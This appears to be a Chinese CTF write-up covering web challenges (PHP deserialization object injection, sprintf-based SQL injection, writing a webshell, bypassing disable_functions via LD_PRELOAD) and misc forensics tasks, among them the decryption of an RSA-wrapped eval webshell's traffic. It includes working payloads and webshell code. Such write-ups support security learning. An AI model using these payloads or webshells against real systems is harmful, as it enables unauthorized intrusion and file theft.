WEB
0x 01 Ezunserialize
- 题目给了源代码,进行审计发现需要构造pop链然后字符逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php show_source("index.php"); function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); }
function read($data) { return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data); }
class A{ public $username; public $password; function __construct($a, $b){ $this->username = $a; $this->password = $b; } }
class B{ public $b = 'gqy'; function __destruct(){ $c = 'a'.$this->b; echo $c; } }
class C{ public $c; function __toString(){ //flag.php echo file_get_contents($this->c); return 'nice'; } }
$a = new A($_GET['a'],$_GET['b']); //省略了存储序列化数据的过程,下面是取出来并反序列化的操作 $b = unserialize(read(write(serialize($a))));
|
首先是构造pop链如下:
1 2 3 4 5 6
| $b = new B(); $c = new C(); $c->c = 'flag.php'; $b->b = $c; $x = serialize($b); echo $x;
|
得到:O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
接着是反序列化逃逸对象,本地调试发现当我们传入:a=1&b=1
时候得到的pop链是
1
| "O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}"
|
当我们注入一个对象时:";s:0:"";O:1:"A":1:{s:1:"a";s:1:"1";}}
得到的pop链是
1
| "O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:38:"";s:0:"";O:1:"A":1:{s:1:"a";s:1:"1";}}";}"
|
我们需要逃逸出";s:8:"password";s:38:"
23个字符
审计代码我们可以发现\0\0\0
的长度为6,然后chr(0).'*'.chr(0)
的长度为3,因此read()
方法可以造成字符逃逸,最终造成对象注入。
但是这里需要是3的倍数,在payload里面加个1,最终payload如下:
1
| ?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"
|
最后加上空字符串闭合结尾的引号
1
| "O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:86:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";}"
|
注入我们pop链对象
0x 02 babytricks
1、题目源代码处得到提示
1
| <!-- tips:select * from user where user='$user' and passwd='%s'-->
|
2、利用sprintf()格式化字符串漏洞注入账号密码,参考这篇文章:https://blog.csdn.net/weixin_41185953/article/details/80485075
%1可以吃掉username后面那个单引号
1 2 3 4
| <?php $sql = sprintf ("select * from user where user='%1$' and passwd='%s'",'^0#'); echo $sql; // select * from user where user='nd passwd='^0#'
|
使用admin/GoODLUcKcTFer202OHAckFuN登录http://183.129.189.60:10027/admin/admin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| Your sandbox: ./shells/Ex5xRmjE666uzon5/ set your shell <?php error_reporting(0); session_save_path('session'); session_start(); require_once './init.php'; if($_SESSION['login']!=1){ die("<script>window.location.href='./index.php'</script>"); } if($_GET['shell']){ $shell= addslashes($_GET['shell']); $file = file_get_contents('./shell.php'); $file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$shell}';", $file); file_put_contents('./shell.php', $file); }else{ echo "set your shell"."<br>"; chdir("/"); highlight_file(dirname(__FILE__)."/admin.php"); } ?>
|
参考[小密圈]经典写配置漏洞与几种变形学习
分别访问:
写入shell
链接蚁剑,发现存在disable_function和openbasedir,php版本是7.4.5,有一个文件查看的脚本
1 2 3 4 5 6 7 8 9 10 11
| $arr=scandir(".."); foreach($arr as $value){ print_r($value."\n"); $arr2=@scandir("../".$value); if($arr2){ if(sizeof($arr2)>3){ print_r(scandir("../".$value)); print_r("\n"); } } }
|
根据这两篇文章:
Fuzzer gets us new functions to bypass PHP disable_functions
PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数
结果如下:
在phpinfo中存在gnupg这个扩展
利用 gnupg_init();
函数触发即可
或者是$gpg = new gnupg();
利用脚本:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
参考:https://cjm00n.top/CTF/dasctf-2020-04-wp.html
另外能触发ld_preload
的函数还有:
1 2 3 4 5 6 7 8 9 10 11
| mb_send_mail exec system passthru shell_exec error_log mail gnupg_init imap_mail pcntl_exec new gnupg()
|
需要根据相应的扩展进行修改
MISC
0x 01 6G还远吗?
断点下载,打开文件得到flag
0x 02 blueshark
根据题目提示,过滤obex协议,发现存在一个7z的压缩包。binwalk导出
然后看文件名猜到可能要蓝牙的PIN码才能得到,然后导出7z,再从流量包字符串搜索找到PIN值
解压得到flag
0x 03 keyboard
首先是内存取证:
1 2 3
| volatility -f Keyboard.raw imageinfo volatility -f Keyboard.raw --profile=Win7SP1x64 filescan | grep txt volatility -f Keyboard.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003d700880 -n--dump=./
|
得到:
键盘加密:
1 2 3 4
| string1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" string2 = "QWERTYUIOPASDFGHJKLZXCVBNM" str = 'CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA' print(str.translate(str.maketrans(string2,string1)))
|
得到解密明文VERACRYPTPASSWORDISKEYBOARDDRAOBYEK
用了VERACRYPT
的工具,密码是KEYBOARDDRAOBYEK
ntfs数据流解密得到flag
0x 04 awdshell
先导出http对象得到源文件,发现存在木马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php $cmd = @$_POST['ant']; $pk = <<<EOF -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCmXoXBvXeanxgl51HBm2J6HPNh TQtfb8ICioE+n0Ni0DlBFHSBprbsWYKJywVfdhJbLDCCon68uA1UYuy0yteDog3j OdweW2bscEGmeMXLQJfBHpQrg4wWoYJjD3QsKorYT6kdp1LRkuHE3PbpqvRtqO7A LzrcBi88Eu7oZaPANwIDAQAB -----END PUBLIC KEY----- EOF; $cmds = explode("|", $cmd); $pk = openssl_pkey_get_public($pk); $cmd = ''; foreach ($cmds as $value) { if (openssl_public_decrypt(base64_decode($value), $de, $pk)) { $cmd .= $de; } } eval($cmd);
|
写出对应的解码代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php $str='';//fang mi wen $pk = '-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCmXoXBvXeanxgl51HBm2J6HPNh TQtfb8ICioE+n0Ni0DlBFHSBprbsWYKJywVfdhJbLDCCon68uA1UYuy0yteDog3j OdweW2bscEGmeMXLQJfBHpQrg4wWoYJjD3QsKorYT6kdp1LRkuHE3PbpqvRtqO7A LzrcBi88Eu7oZaPANwIDAQAB -----END PUBLIC KEY-----'; $strs = explode("|", $str); $pk = openssl_pkey_get_public($pk); $str = ''; foreach ($strs as $value) { if (openssl_public_decrypt(base64_decode($value), $de, $pk)) { $str .= $de; } } echo $str; ?>
|
解码对应的数据包得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| @ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out) { @session_start(); $key=@substr(str_pad(session_id(),16,'a'),0,16); return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA)); } ; ; function asoutput() { $output=ob_get_contents(); ob_end_clean(); echo "f9d3fc090"; echo @asenc($output); echo "4d608782174"; } ob_start(); try { $D=dirname($_SERVER["SCRIPT_FILENAME"]); if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); $R="{$D} "; if(substr($D,0,1)!="/") { foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:"; } else { $R.="/"; } $R.=" "; $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; $s=($u)?$u["name"]:@get_current_user(); $R.=php_uname(); $R.=" {$s}"; echo $R; ; } catch(Exception $e) { echo "ERROR://".$e->getMessage(); } ; asoutput(); die();
|
可以看出返回的密文是一个AES加密后加盐混淆的东西,AES是AES-128-ECB
模式,KEY是session的前16位,也就是hm3pq66843bbbrdg
可以看报文cookie里的 PHPSESSID获得
最后一步步解密得到flag
参考资料:
http://www.fzwjscj.xyz/index.php/archives/25/